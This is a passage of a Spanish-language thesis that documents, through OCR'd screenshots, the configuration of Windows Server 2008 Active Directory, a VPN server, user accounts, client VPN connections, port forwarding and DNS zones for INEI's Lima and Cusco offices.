2008, en este caso se eligio la plataforma en que se esta configurando el servidor

“Windows server 2008”.

@l Asistente para la instalacién de los Servicios de do x|

Establecer el nivel funcional del bosque
Seleccione el nivel funcional del bosgue.

Mivel funcional del bosque:

Detalles:

Este nivel funcional del bosque no proporciona ninguna caracteristica nueva con ;l
specto al nivel funcional del bosgue de Windows 2003. Sin embargo. garantiza
ue todos los dominios nuevos creados en este bosque funcionaran
utomaticamente en el nivel funcional del bosque de Windows Server 2008, que
rece unas caracteristicas Unicas.

=
1 Sdlo podra agregar a este bosgue los controladores de dominio que
- gjecuten Windows Server 2008 o posterior.
Mas informacién acerca de los niveles funcionales de dominio v bosque
« Mras Siquiente 3 Cancelar |

Img 22. Nivel funcional del bosque — Fuente (Elaboraciéon Propia)
En cuanto a la asignacién de IP’s s, en los equipos de computo de ambas sedes se

utilizaron IP’s estaticas, debido a que si se presentara algun tipo de problema tales
como la ausencia de internet, las IP’s facilitaran la ubicacion del equipo que presenta

inconvenientes con la red.
! Asignacién de direccién IP estatica |

r :
'q Este equipo tiene direcciones IP asignadas dinamicamente

Este equipo tiene al menos un adaptador de red fisico gue no tiene asignadas direcciones
IP estaticas en sus propiedades IP. Debe asignar direcciones IP estaticas a todos los
adaptadores de red fisicos para gque el funcionamiento del Sistema de nombres de dominio
(DMS) sea confiable, para IPv4 e IPva si estan disponibles, Consulte la Ayuda para
obtener mas informacion,

Desea continuar sin asignar direcciones IP estaticas?

=» 5i, el equipo usara una direccion IP asignada dinamicamente (no
recomendadao).

=» Mo, asignaré direcciones IP estaticas a todos los adaptadores de red
fisicos.

Img 23. Asignacion de direccion IP estéatica — Fuente (Elaboraciéon Propia)
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Se dejo por defecto la ruta en donde las carpetas se crearan por defecto.

@ Asistente para la instalacién de los Servicios de domi |

Ubicacion de la base de datos, los archivos de registro y SYSWOL
Especifigue las campetas que contendran |la base de datos del controlador de
dominio de Active Directory, los archivos de registro v SYSVOL. b

Para mejorar &l rendimiento y la capacidad de recuperacién, aimacene la base de
datos y los archivos de registro en volimenes separados.

Carpeta de |a base de datos:

I MWindows \NTDS BExaminar

Campeta de archivos de registro:

Fiel

IC SWindows '\NTDS BExaminar
Cameta SYSVOL:
IC SWindows \SYSVOL Examinar

Més irformacién acerca de cémo colocar los archivos de los Servicios de dominio de
Active Directory

< Mras I Siguiente il Cancelar |

Img 24. Ventana de ubicacion de la Base de Datos — Fuente
(Elaboracion Propia)

Se asigno la contrasefia al Administrador de Servicios de Active Directory, para ello

es recomendable usar letras mayusculas, minusculas y/o nimeros pero de preferencia

se sugiere colocar la contrasefia del administrador del equipo para evitar olvidos

posteriores.

La cuenta de Administrador del modo de restauracidn de servicios de directorio es
diferente de la cuenta de Administrador del dominio.

Asigne una contraseria para la cuenta de administrador que se usara cuando el
controlador de dominio se inicie en el modo de restauracion de servicios de directorio.
Se recomienda elegir una contrasefia segura.

Contrasefia: Iccoocc.

Canfimar contraseria: Illlllll|

Mas informacidn acerca de la contraserfia del modo de restauracidn de servicios de
directorio

= Afras I Siguiente [: I Cancelar |

Img 25. Contrasefia del Administrador de Active Directory
— Fuente (Elaboracién Propia)
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Seguidamente aparecio el resumen de todos los servicios de dominio, que se han de

instalar.

@1 Asistente para la instalacién de los Servicios de domi Eq
Resumen

Revigar las selecciones:

Corfigure este servidor como el primer controlador de dominio de Active Directory
de un nuevo bosque.

El nuevo nombre del dominio es inei.com. Este es tambign &l nombre del nuevo
bosque.

El nombre MetBIOS del dominio es INEI
Mivel funcional del bosque: Windows Server 2008

Mivel funcional del dominio: Windows Server 2008

Sitio: Default-First-Site-MName ;I
Para cambiar una opcién, haga clic en Atrds. Para comenzar la operacion, haga clic en
Siguiente.

Esta corfiguracion se puede exportar a un archivo de Exportar corfiguracian. . |

respuestas para usarse con ofras operaciones desatendidas.
Mas informacion acerca de cémo usar un archivo de

respuestas

< Mras I Siguierte :EI Cancelar |

Img 26. Ventana Resumen para la instalacién de Dominio de
Active Directory — Fuente (Elaboracion Propia)

Para finalizar con el proceso de instalacion de los Servicios de Dominio de Active

Directory, se reinicid el equipo con la finalidad de asegurar que se guarden todas las

configuraciones realizadas.

Asistente para la instalacion de los Servicios de do

El asistente esta configurando los Servicios de dominio de Active Directory. Este
proceso puede tardar varos minutos o varas horas en funcion del entomo v de las
opciones gue haya seleccionado.

.

b

Esperando |a finalizacion de la instalacion de DMNS

Cancelar |

¥ Reiniciar al completar

Img 27. Ventana de Instalacién de Domino de Active Directory —
Fuente (Elaboracion Propia)
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5.1.5 FUNCIONES DE ADMINISTRADOR DEL SERVIDOR VPN
Para definir las funciones del servidor se siguieron los siguientes pasos: Inicio,
administrador del servidor (presionar anticlik), agregar funciones. La opcién que se
eligio fue “Servicios de acceso y Directivas de Redes (NPAS)” para la seguridad de la

red.

Asistente para agregar funciones 1[

= . . .
& . Seleccionar funciones de servidor
Fﬂﬂ

Antes de comenzar Seleccione una o més fundones para instalar en este servidor,

Servidos de acceso y directivas d. . [] Active Directory Rights Management Services e
redes proporciona el Servidorde
Fonoririn T 2k ccrvicos de acceso y directivas de redes directivas de redes (NPS), el
Confirmacian Servidos de archiva {instalada) Enrutamiento y acceso remoto, |3
O Ser'-.-'lcms de Cer tlﬁcate Server de Active Directory Autorid_ad_deregistro de
Progresa [7] servicios de directario I|gem de Active Directary mantenimiento (HRA) y el Protocolo
it Servicios de dominio de e Directory (instalada de auterizacidn de credenciales de
Resultado : e SE e T e hast (HCAP), que protegen el estado
[ servicios de fe-:lera-:mn de Active D||'ectol"r' Ia seéuridazlj ;IE Iapred. g g

[] servicios de implementadin de Windows (WOS)
[7] servicios de impresidn

] servicios UDDI

[7] servidor de aplicaciones

[] servidor de fax

[ servidor DHCP

[l ;er'-.-

|: Termingl Services

Mas informacién acerca de las fundones de servidor

< Anterior | Siguiente[\l Instalar | Cancelar |

Img 28. Funciones del Servidor VPN — Fuente (Elaboracién Propia)

En los Servicios de Funcién se seleccioné la opcién “Servicio de Acceso Remoto”, con
la finalidad de que las cuentas para los trabajadores administrativos que

posteriormente se han de crear, puedan acceder a la VPN.
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En esta ventana ubicar y seleccionar la opcion “servicio de acceso remoto”, para que

los trabajadores puedan tener acceso a la VPN desde cualquier otro lugar geografico.

Asistente para agregar funciones ll
= i . .
! Seleccionar servicios de funcidn

.)‘E:‘

Antes de comenzar Selecrions los servicios de funcidn que desea instalar para Servidos de acceso v directivas de redes:
Funciones de servidor Servicios de funcidn: Descripcidn:
Servicios de acceso y directivas d... [¥] servidor de directivas de redes Servido deacceso remoto permite

. ) que las oficinas remotas o los
ios de enrutamiento y acceso remoto trabajadores méviles puedan tener

Servidos de funddn

Entidad de certificacian [Pl cervicio de acceso remoto acceso a las redes privadas delas
[¥] Enrutamienta oficinas a través de conexiones de
Requisitos de autenticacion [V] Autoridad de registro de mantenimiento acceso telefdnico o VPN.

e [¥] Protocolo de autorizacidn de credenciales de host

Servidor web (II5)
Servicios de fundon

Confirmadion

Progreso

Resultado

Mas informadén acerca de los servidos de funddén

< Anterior I Siguientehl Instalar | Cancelar |

Img 29. Servicios de Funcion — Fuente (Elaboracidn Propia)
Se selecciond la opcién recomendada, ya que en pasos anteriores se cred el dominio

“inei.com”.
ﬂ

l—; E
! * Elegir requisitos de autenticacién para la Autoridad de registro de mantenimiento

Antes de comenzar Se puede configurar la Autoridad de registro de mantenimiento para garantizar que sdlo puedan obtener

. . certificados de mantenimiento los usuarios autenticados en el dominia,
Fundiones de servidor

Servidos de acceso y directivas d... ) - N ) - . .
v &Desea exigir la autenticacidon de usuarios para la obtencidn de un certificado de mantenimiento?
Servidos de funddn

Entidad de certificadidn % 5i, exigir la autenticacion de los solicitantes como miembros de un dominio, (Recomendada)

TErErEiiToa e Esta opcidn solo esta disponible cuando el equipo esta unido a un dominia,

Certificado de autenticacion d... " No, permitir solicitudes andnimas de certificados de mantenimiento,

Servider web (I15)
Servidos de funddn

Confirmacidn

Progreso

Resultada

Img 30. Requisitos de Autenticacién para el Registro de Mantenimiento — Fuente
(Elaboracion Propia)
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En la siguiente imagen de resultados del resumen de la instalacion se podra observar
que ademas de instalarse los “Servicios de Acceso y Directivas de Redes”, también
se instal6 por defecto “Servidor web (11S)” el cual permite compartir informacion entre

usuarios de la intranet.

I Asistente para agregar funciones

ES}' Resultados de la instalacion

Antes de comenzar

Las siguientes funciones, servicios de funcidn o caracteristicas se instalaron correctamente:
Fundiones de servidor

- _— /v 1advertenca, 1 mensajes informativos a continuacidn
Servicios de acceso y directivas d...

Servicios de fundan i L& actualizacidn automética de Windows no estd habilitada, Para instalar las actualizaciones més 2
. L " recientes, use Windows Update en el Panel de control para buscar actualizaciones.
Entidad de certificadan
- . ~ Servicios de acceso y directivas de 'O' L,
Requisitos de autenticacidn redes J Instalacién correcta
Certificado de autenticacion d... Los siguientes servidios de funcidn se instalaron:
Servidar web {115) servidor de directivas de redes

Servicios de enrutamiento y acceso remoto
Servidio de acceso remoto
Confirmadén Enrutamiento
ragress Autoridad de registro d?mantenlmlento
Protocolo de autorizacion de credenciales de host
I Resultado nj:i:jn Puede usar un asistente de |a consola de MPS para configurar |a Proteccidn de acceso a redes
~ {MAP). Para abrir la conzola de MNPS tras |3 instaladidn, vaya &l Administrador del servidor y haga
clic en Inicio, Herramientas administrativas, Servidor de directivas de redes.

Servicios de funddn

2 Servidor web (IIS) '@' Instalacion correcta

Los siguientes servicdos de funcion se instalaron:
Servidor web
Caracteristicas HTTP comunes J
-

~mmtamide actdbiem
__

Img 31. Resultados de Instalacion de los Servicios de Acceso y Directivas de Redes —
Fuente (Elaboracion Propia)

Para guardar las configuraciones anteriormente realizadas, se reinicié el
equipo.

5.1.6 ENRUTAMIENTO Y ACCESO REMOTO
Para la instalacién del servidor de enrutamiento se siguieron los siguientes pasos:

Inicio, herramientas administrativas, enrutamiento y acceso remoto.
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A continuacion, ubicé el cursor sobre el nombre del servidor y se eligié la opcion

“Configurar y Habilitar Enrutamiento y Acceso remoto”, es asi como se inicio con el

proceso de la instalacion.

Asistente para la instalacion del servidor de enrutamiento y acc

Este es el Asistente para instalacion
del servidor de enrutamiento y acceso
remoto

Este asistente le ayuda a configurar &l servidor para que
pueda conectarse a otras redes v pemitir conexiones desde
clientes remotos.

Haga clic en Siguiente para continuar.

4 filras m Cancelar

Img 32. Asistente para la Instalaciéon del Servidor de Enrutamiento y
Acceso Remoto — Fuente (Elaboraciéon Propia)

Se selecciond la opcion “Personalizada” y la opcién “Acceso a VPN” Y “Enrutamiento

LAN”.
Asistente para la instalacion del servidor de enrutamiento y acc

Configuracion personalizada
Zuando se cieme este asistente, puede configurar los servicios seleccionados en
la consola Enrutamiento y acceso remoto.

Seleccione los servicios que desea habilitar en este servidor.
¥ Accesoa VPN

[ Acceso telefénico

[T Conexiones de marcado a petician (utiizadas para ennutamiento de oficinas sucursales)

I~ NAT

W Enntamierto LAN

Img 33. Ventana de Configuracion de Acceso VPN y Enrutamiento LAN —
Fuente (Elaboracion Propia)
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Una vez que el Asistente haya culminado con el proceso de instalacion se eleigio la

opcion “finalizar” seguido de “Iniciar el Servicio”.

Finalizacion del Asistente para
instalacion del servidor de

N S S

Ha completado con &xito el Asistente para instalacion de
Servidor de ennutamiento y acceso remoto.

Rezumen de las selecciones:

|.i£cesu a VPN ;I

| T Ty N 1 |

Enrutamiento y acceso remoto

Iniciar el servicio

El Servicio de ennutamiento v acceso remoto est3 listo
para usarse.

icios

Iniciar servicio &! Cancelar | Eso

Para cemar el azistente, haga clic en Finalizar.

< Atras Finalizar Cancelar

Img 34. Inicio de Servicio Enrutamiento y Acceso Remoto — Fuente
(Elaboracién Propia)

Finalmente para concluir con la configuracion del Servidor VPN se habilitaron las

directivas de red en “Servidor de Directivas de Redes”, para ello se debieron seguir
los pasos: Inicio, herramientas administrativas, servidor de directivas de redes.
Una vez accedido, desdoblar la opcion de “Directivas” y pulsar sobre la opcién de

“Directivas de Red”.

‘{.E. servidor de directivas de redes

Archivo  Accidn  Ver  Ayuda

EECE

MPS (Local) N )
o C\Iientes v servidores RADILS * Las directivas de red permiten designar quién tiene autorizacidn para conectarse & la red y s circunstancias en
- s . las que =& pueden o no se pueden conectar.
= J Directivas /
~| Directivas de solicitud de ¢
[ Directivas de red MNombre de directiva | Estado | Orde.. | Tipo de acceso | Qrigen
~| Directivas de mantenimier _giCone:dones al servidor de Ennutamiento y acceso remoto de Microsoft  Habiltada 599938 Denegaracceso  Servidor
% Protecciin de acceso a redes | £ Conexiones a otros servidores de acceso Habiitada 999339 Denegaracceso  Servidor
B Cuentas
4 | ©

Img 35. Servidor de Directivas de Redes - Directivas Denegadas— Fuente (Elaboracion Propia)
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Para habilitar ambas directivas que se encuentran en “acceso denegado”, se

selecciond la primera directiva, a continuacion aparecio la siguiente ventana.

Propiedades de Conexiones al servidor de Enrutamiento y acceso remoto de Micro

Informacidn general I Condiciones | Restricciones I Configuracion I

~1

Mombre de directiva: ICone;t.iones al servidor de Ennutamiento y acceso remoto de Microsoft

r— Estado de |a directiva

Si estd habilitada, NP5 evalla esta directiva miertras realiza |a autorizacion. Si esta deshabiltada, NPS no evalla la directiva

Directiva
WV habiltada

— Pemiso de acceso

Si las condiciones y |as restricciones de la directiva de red coinciden con |a solicitud de conexion, la directiva puede conceder
acceso o denegarlo. s Que son los permiscs de scceso?

¥ Conceder acceso. Conceder acceso si la solicitud de conexién coincide con esta directiva.
" Denegar acceso. Denegar acceso sila solicitud de conexidn coincide con esta directiva.
[ Omitir propiedades de marzado de cuentas de usuario.

Si la solicitud de conexidn coincide con las condiciones y |as restricciones de esta directiva de red y |a directiva concede acceso,
realizar la autorizacion sdlo con la directiva de red; no evaluar las propiedades de marcadoe de cuentas de usuario.

— Método de conexidn de red

Seleccione el tipo de servidor de acceso a la red que envia la solicitud de conexién a NP5, Puede seleccionar el tipo del servidor de
acceso a la red o Especfico del proveedar.

' Tipo de servidor de acceso a la red:

(" Especfiico del proveedor:

Ac:eptar[:l Cancelar | Aplicar |
o

Img 36. Propiedades de conexién para Conceder Acceso a las Directivas de red —
Fuente (Elaboracion Propia)

Una vez realizado estos cambios en la siguiente imagen se podra observar que las
directivas ya fueron habilitadas.

%4 Servidor de directivas de redes

Archivo  Accon  Ver Ayuda

HmEE

MPS {Local)
. (;“EITtES v servidores RADILS * Las directivas de red pemiten designar quién tiene autorzacion para conectarse a |a red y |as circunstancias en
- s A las que se pueden o no se pueden conectar.
El [Z] Directivas 4

| Directivas de solicitud de ¢
~ Directivas de red MNombre de directiva | Estado | Orde... | Tipo de acceso | Origen
| Directivas de mantenimier _ﬁCone;f.iones al servidor de Ennutamiento y acceso remato de Microsoft  Habilitada Conceder acceso  Servidor

b Proteccidn de acceso a redes _ngone;t.iones a otros servidores de acceso Habiltada Conceder acceso  Servidor
B Cuentas

4 |
Img 37. Servidor de Directivas de Redes - Directivas Habilitadas — Fuente (Elaboracion
Propia)
Se reinicid el servidor para guardar las configuraciones realizadas y de esta forma ya
se culmind con la configuracion del Servidor VPN.

A
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5.1.7 CREACION DE CUENTAS DE CLIENTES VPN (PERSONAL ADMINISTRATIVO)
Para la creacion de cada una de las cuentas de los usuarios, se siguieron los
siguientes pasos: Inicio, herramientas administrativas, usuarios y equipos de
active directory. Seleccionar el dominio “inei.com”, ubicar la carpeta “users”,
(presionar anticlick), seleccionar nuevo, usuario.

=T

Archivo  Acdon  Ver Ayuda

e P40 XEc=HE 2?2 %

=] =l Usuarios y equipos de Active Direct | Nombre | Tipa | Descripcitn |

_; Consultas guardadas _’_J Administrador  Usuario Cuenta integrada parala ...
B &S “'"_3' Jcom SIE,Administrado... Grupo de seguri...  Administradores designad. ..
J Builtin Sl_i_,Administ'ado... Grupa de sequri..,  Administradores designad...

| Computers 82, Admine. del d... Grupo de sequri... Administradores designad...

= Domtain Contl:oller.s ) 52,C0nh'0|adore... Grupo de seguri...  Todos los controladores d...

- ForeignSecurityPrincipals 5'_3_,C0nt|'olad0re... Grupo de seguri...  Los miembros de este gru...
- Brrzr Tl :S:E,Dns;\dmins Grupo de seguri...  Grupa de administradores ...
Euscar.., ?!,DnsUpdatePr... Grupo de seguri...  Clientes DNS que tienen p...

ror i seguri... Los miembros de este gru...

Equipo seguri...,  Todas los servidores y est...

Todas las tareas  #|  Contacto seguri... Los miembros de este gru...

Ver N Grupo seguri...  Los miembros de este gru...
| [InetOrgPerson Cuents integrada para el ...

Actualizar Alias de cola de MSMQ seguri... Todos los invitados del do...

Exportar lista... Impresora sequri..,  Los miembros de este aru...
PropieT m seguri. .. Los mien?bros de este gru...
TV | Carpetacompartida sequri..,  Los servidores de este gr..,

Ayuda 5_3_,Usua|'ios del... Grupode seguri... Todos los usuarios del do...

Img 38. Creacién de Usuarios Active Directory — Fuente (Elaboracion Propia)
Se procedio a la creacion de las cuentas con los nombres de cada usuarios, si

se tiene el caso de que existan dos trabajadores con el mismo nombre, se
recomienda asignar a la cuenta el nombre y el primer apellido del usuario para

evitar duplicidad de cuentas, pulsar siguiente.

Nuevo objeto - Usuario |

; Crearen: inei.comsLsers
MNombre: Ialina lniciales: I
Apellidos: Imar
Mombre completo: Ialina mar

Mombre de inicio de sesidn de usuarnio:
Ialina @inei.com -

Mombre de inicio de sesidon de usuario ({anteror a Windows 2000):
IINEI"-—. Ialina

L Batias: I Siguiente |‘-_: I Cancelar I

Img 39. Nuevo Usuario Active Directory — Fuente (Elaboraciéon Propia)
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Al momento de asignar la contrasefia, se recomienda que sea entre una
combinacion de numeros y letras, seguidamente se selecciond la opcién “El
usuario no puede cambiar la contrasefia” ya que las cuentas de usuario sélo
podran ser administradas por el ingeniero de sistemas que se encuentra a

cargo en la sede Limay en la sede Cusco.

Nuevo objeto - Usuario x|

J_"j Crearen:  inei.com/Users
Cortrazena: IIIIIIII

Corfimar cortrasena: I-u-u--u

[ El usuario debe cambiar la contrasefia al iniciar una sesion de nuevo
¥ El usuario no puede cambiar la contrasefia
I Lz contrasefia nunca caduca

[T Lz cuerta estd deshabiltada

< Mras I Siguiente |:L:E I Cancelar

Img 40. Asignacion de Contrasefia para el Usuario Active Directory —
Fuente (Elaboracion Propia)

Para concluir con la configuracién de la cuenta del usuario “alina mar” con

nombre de inicio de sesién “alina@inei.com”, se selecciond la opcion “finalizar”.

Cuando haga clic en Finalizar, se creara el siguients objeto:

Mombre completo: alina mar ;l
Mombre de inicio de sesidn del usuario: alina&inei.com

El usuario no puede cambiar |a contrasena.

[~

< Mras I Finalizar é! Cancelar |

Img 41. Término de la Creacion de Usuario de Active Directory —
Fuente (Elaboracién Propia)
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Para detallar de forma especifica cada uno de los campos en propiedades de usuario
tales como: datos personales, sede al cual corresponde dicho usuario, etc. Se
presiond anticlick sobre el usuario creado, en este caso: “alina” y se selecciond la
opcién “propiedades”.

Propiedades de alina mar i XI

Ertomo I Sesiones I Control remato I Perfil de Servicios de Teminal Server I COM+ I

General | Direccidn I Cuenta I Perfil I Teléfonos I COrganizacidan I Miembro de I Marcado
J alina mar
{LD

Mombre: Ialina Iniciales: |4V

Apelidos: Imar

Mombre para mostrar: Ialina mar

Descrpcion: IJefa - INEI LIMA,
CHicina: ICu:untaI:uiIidad
Mimero de teléfona: IEEEiEET‘? Citros. .

Comen electranico: |a|ina@|1ntmail.u:u:um|

Paagina Web: I Cros...

Img 42. Propiedades de Cuenta de Usuario — Fuente (Elaboracién Propia)
Para el manejo de seguridad en cada una de las cuentas de usuarios, se ingresé a la
opcion “Propiedades”, “Marcado” y se selecciond la opcidon “Permitir Acceso” y
“Servicios de Acceso Remoto”, con el fin de administrar con mayor control cada

cuenta.
1]

Ertomo I Sesiones I Control remoto I Perfil de Servicios de Teminal Server | COM-= I
General I Direccidn I Cuenta I Perfil I Tel&fonos I Crganizacién I Miembro de ~ Marcado

— Pemiso de acceso a redes

{* Pemitir acceso
" Denegar acceso

{~ Controlar acceso a través de la directiva de red NP5

[~ Comprobar el Id. de quien llama:

— Opciones de devolucidan de llamada

" Sin devolucidn de llamada

{* Establecido por guien llama (sdlo Servicios de enrutamierto ¥ acceso remoto)

" Siempre devalver la llamada a: I

Img 43. Permiso de Acceso a Redes — Fuente (Elaboracion Propia)
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5.1.8 CONEXION DE CLIENTES VPN A LA INTRANET

Para la conexidn de los usuarios al servidor VPN se utilizo el sistema operativo

Windows 7, la instalacion de dicho sistema operativo se muestra en el ANEXO

6.

Para llevar a cabo la conexion de los clientes VPN a la intranet, se optd por

utilizar Direcciones IP fijas, con la finalidad de tener un uso exclusivo de la

direccion IP que se le asigne a cada PC.

Las direcciones IP para cada cliente VPN, fueron distribuidas de la siguiente

manera:
CANTIDAD DE
MAQUINAS DE DIRECCIONES
; ESCRITORIO POR IP
SEDE SEDE
LIMA CUSCO SEDE LIMA SEDE CUSCO
Jefatura 1 1 192.168.1.40 192.168.1.116
Of""”%lecn'ca 15 ) De: 192.168.1.41 | De: 192.168.1.117
. ., A: 192.168.1.56 A: 192.168.1.118
Administracion
Oficina Técnica De: 192.168.1.57
de Informética 18 1 A: 192.168.1.75 192.168.1.119
gg%‘gg gg‘ir‘c';g 1 , De: 192.168.1.76 | De: 192.168.1.120
A: 192.168.1.87 A: 192.168.1.121
Departamentales
Escuela Nacional
. De: 192.168.1.88
de Estadllst_|cae 4 1 A- 192.168.1.92 192.168.1.122
Informatica
Direccién
Técnica de 11 5 De: 192.168.1.93 De: 192.168.1.123
Indicadores A: 192.168.1.104 A: 192.168.1.124
Econdmicos
Direccién
Nacional de 9 3 De: 192.168.1.105 De: 192.168.1.125
Censos y A: 192.168.1.114 A: 192.168.1.127
Encuestas
Secretaria 1 1 192.168.1.115 192.168.1.128
General

Tabla 23. Distribucion de Direcciones IP para Clientes VPN — Fuente (Elaboracion

Propia)
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Para el caso del cliente anteriormente creado “alina” en Usuarios Active
Directory, se le asigno la siguiente direccion IP: 192.168.1.34, para establecer
dicha direccion IP se siguieron los siguientes pasos: presionar anticlick en mis
sitios de red, propiedades, conexion de area local (presionar anticlick),
propiedades, aceptar.

Propiedades: Protocolo de Internet version 4 (TCP/IPvd)

General

Puede hacer que la configuracidn IP se asigne automaticamente si la
red es compatible con esta fundonalidad. De lo contrario, debera
consultar con el administrador de red cudl es la configuracidn IF
apropiada.

{7 Obtener una direcddn IP automaticamente

(@) Usar |a siguiente direccidn IP:

Direccidn IP: 192 . 168 . 1 . 34
Mascara de subred: 255,255,255, 0
Puerta de enlace predeterminada: 192 . 168 . 1 . 1

Ohtener la direccidn del servidor DNS automaticamente

(@) Usar |as siguientes direcciones de servidor DNS:

Servidor DMNS preferido: ga .8 .8 .8
Servidor DNS alternativa: g .8 .4 .4
[] validar configuracsn al sali [ Opdones avanzadas. .. ]

[ Aceptar ][ Cancelar ]

Img 44. Asignacion de Direccion IP al cliente VPN — Fuente
(Elaboracion Propia)
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Una vez asignada la direccion IP, se dirigi6 a propiedades de red y se

selecciond la opcidn “Configurar una Nueva Conexion”.

[ “ |55 » Panel de control » Redes elnternet » Centro de redes y recursos compartidos I

Ventana principal del Panel de . - £ . . .
s Ver informacion basica de la red y configurar conexiones

control
-_ L = Ver mapa completo

Administrar redes inalambricas ==
Cambiar configuracion del USER-PC VPN Internet
adaptador (Este equipe)
Cambiar cenfiguracién de uso Ver las redes activas Conectar o desconectar
compartide avanzado

T Tipo de acceso: Internet

- —- VPN . . o

- Conexiones: ol Conexién de red inalambrica
Red piblica (VPN)
I\

Cambiar la configuracién de red

eﬁ—.. Configurar una nueva conexion o red
=

Configurar una conexidn inalambrica, de banda ancha, de acceso telefénico, ad hoc o VPN o bien
configurar un enrutador o punto de acceso.

Conectarse a una red

iF,

Conectarse o volver a conectarse a una conexion de red inalambrica, cableada, de acceso telefonico
o VPN,

Elegir grupeo en el hogar y epciones de use compartido

&

Obtener acceso a archivos e impresoras ubicados en otros equipos de la red o cambiar la
configuracién de usoc compartide.

i

Selucionar problemas

Diagnosticar y reparar problemas de red u obtener informacién de selucién de problemas.

Img 45. Configuraciéon para una Nueva Conexion — Fuente (Elaboracion Propia)
Se selecciond la opcion “Conectarse a un area de trabajo” y seguidamente la

opcion “Usar mi conexion a internet (VPN)”.

@ L:EJ Conectarse a un area de trabajo

;Camo desea conectarse?

< Usar mi conexion a Internet (VPN)
Conectarse mediante una conexién a una red privada virtual (VPN] a través de Internet, h

N @ O

< Llamar directamente
Conectarse directamente a un ndmere de teléfone sin usar el Internet.

A e

;Qué e una conexign VPM?

Cancelar

Img 46. Tipo de Conexion para Acceder a la VPN — Fuente (Elaboracion Propia)
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Para establecer la conexidon con el servidor VPN, en la siguiente ventana se
asigno la Direccion IP Publica del equipo donde se encuentra configurado el
servidor VPN. Tener en cuenta que la IP publica cambiara todos los dias a

menos que la institucion del INEI solicite a telefonica una IP publica fija.

i o) © e

@ | Conectarse a un area de trabajo

Escriba la direccion de Internet a la que se conectard

El administrador de red puede darle esta direccién,

Direccién de Internet: 181.65.71.188|

Mombre de destino: Conexién VPN

Usar una tarjeta inteligente

("] Permitir gue otras persocnas usen esta conexion
=

Esta opcidn permite el use de esta conexidn para cualquier persona con acceso 3 este
equipe,

Mo conectarse ahora; configurar para conectarse mas tarde

| Siguir:ntr:DL| Cancelar |

Img 47. Conexién al Servidor VPN - Fuente (Elaboracién Propia)
Para establecer la conexién del cliente VPN con el servidor, se ingreso el

nombre de usuario, la contrasefia y el nombre del dominio (INEI).

= B ||m3m
. L;LI Conectarse a un drea de trabajo

Escriba el nombre de usuario y la contraseria

Mormbre de usuario: alina

Contrasena: [ITTETT]

Mostrar caracteres

Recordar esta contrasefa

Deminic (opcicnal): INED

| Conectarﬂl Cancelar |

Img 48. Nombre de Usuario y Contrasefia — Fuente (Elaboracién Propia)

83
Br. JENNY MAR SEGUNDO

DERECHOS DE AUTOR RESERVADOS




Repositorio Digital

M A k N\
UNIVERSIDAD ANDINA DEL CUSCO de Teis

lm\
M - ‘,,,

intercambio de Informaaon entre las Sedes Lima-Cusco del INEI Caso: Servidor De Correos

Finalmente se esper6 a que se valide el nombre de usuario y la contrasefia

asignada.

[E=SEE]
@ |_:EJ Conectarse a un drea de trabajo

Esta conectado

A o

Img 49. Conexién Satisfactoria Cliente - Servidor VPN — Fuente
(Elaboracién Propia)

Una vez terminada la configuracion, para poder volverse a conectar a la intranet

aparecio la siguiente ventanilla, lista para ingresar los la cuenta del cliente VPN.

A+ Conectarse a Conexidon VPN

Nombre de alina
usuarno:

Contrasefia: seseses
Dominio: INEI

[ Guardar este nombre de usuario y contrasefia para los
siguientes usuarios:

I~ S Ciialmiars e 1ies acte a0 s
“, ~Ualquiera que use esie equip

[ Conectar %[ Cancelar J[Propledades ][ Ayuda J

Img 50. Autenticacion de Usuario — Fuente (Elaboracion
Propia)
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5.1.9 HABILITAR PUERTO VPN
Una vez terminado el proceso de configuraciéon se procedié a configurar el
protocolo TCP, para ello se habilité el puerto VPN - TCP 1723, indicando la
direccion IP de donde se encuentra configurado el servidor, en este caso la IP:
192.168.1.37, con la finalidad de establecer conexion de los clientes con el
servidor VPN.

‘V'ILH wot

PORT FORWARDING

Port Forwarding allows you to direct incoming traffic from the WAN side (identified by protocol and external port)to the internal
server with 3 private IP address on the LAN side, The internal port is required only if the external port nesds to be converted to a
different port number used by the server on the LAN side. A maximum of 80 entries can be configured.

Select the service name, and enter the server IP address and click "Apply” to forward IP packets for this service to the specified
server. Note: Modifying the Internal Port Start or Internal Port End is not recommended. If the External Port Start or the
External Port End changss, the Internal Port Start or Internal Port End automatically changes accordingly.

Server Wan External Port Protocol Internal Port Server IP Schedule Remote
Name  Connection Start/End Start/End Address Rule P

VPN-INEI ~ PVC:8/60 1723/1723 tcp 1723/1723 192.168.1.37  Always

| Add || Edit || Delete |

Img 51. Habilitar el puerto VPN — Fuente (Elaboracién Propia)
A su vez al momento de habilitar el puerto, se tuvo la opcién de poder decidir por
cuanto tiempo se desea que el servidor este activo, ya sea por horas o dias
especificos, en este caso se configurdé en el router, que el servidor este siempre
“activo” ya que el personal en algunas areas administrativas tales como: la escuela

ENEI laboran también los dias domingos.
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5.2 CONFIGURACION SERVIDOR DE CORREOS
Como anteriormente ya se configuraron los Servicios de Dominio de Active
Directory, se procedio a configurar el DNS, con la finalidad de hacer uso del
dominio “inei.com” anteriormente configurado.

5.2.1 CREACION DE ZONA NUEVA

La creacion de una zona nueva, se realiz6 con la finalidad de que el sistema de
nombres de dominios DNS, permitira a un espacio de nombre DNS ser dividido
en zonas, en este caso cada zona se encargo de almacenar toda la informacién
del dominio “inei.com”.
Para iniciar con la configuracion del servidor DNS y con la creacion de una
nueva zona de busqueda inversa, se siguieron los siguientes pasos: Inicio,

herramientas administrativas, dns, zona de busqueda inversa, zona nueva.

Asistente para crear zona nueva il

Asistente para crear Zona nueva

' Este asistente e ayuda a crear Una zona NUeva Para su
servidor DMS.
25
ff?’ Una zona traduce nombres DNS en datos relacionados, tales

como direcciones IF o servicios de red.,

Haga clic en Siguiente para continuar,

< fGfras Siquiente % I Cancelar

Img 52. Asistente para la Creacion de una Nueva Zona — Fuente (Elaboracién Propia)
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Se seleccion6 la opcion “Para todos los servidores DNS en este domino:

inei.com”, ya que lo que se configuro anteriormente es un dominio.

Asistente para crear Zzona nueva

Ambito de replicacién de zona de Active Directory
Fuede seleccionar como desea gue se repliquen los datos DNS por |3 red,

X
=

__,.i""

Seleccione como quiere gue =e repliqguen los datos de zona:

" Para todos los servidores DS en este bosgue: inei.com

{* Para todos los servidores DMS en este dominio: inei.com
Windows 2000): inei.com

de direckaria;

™ Para todos los controladores de dominio en este dominio {para compatibilidad con

" Para bodos os controladores de dominio especificados en el dmbita de esta parkicion

d

= Afras I Siguiente :_E I

Cancelar

Img 53. Ambito de Replicacion de Zona de Active Directory — Fuente

(Elaboracién Propia)
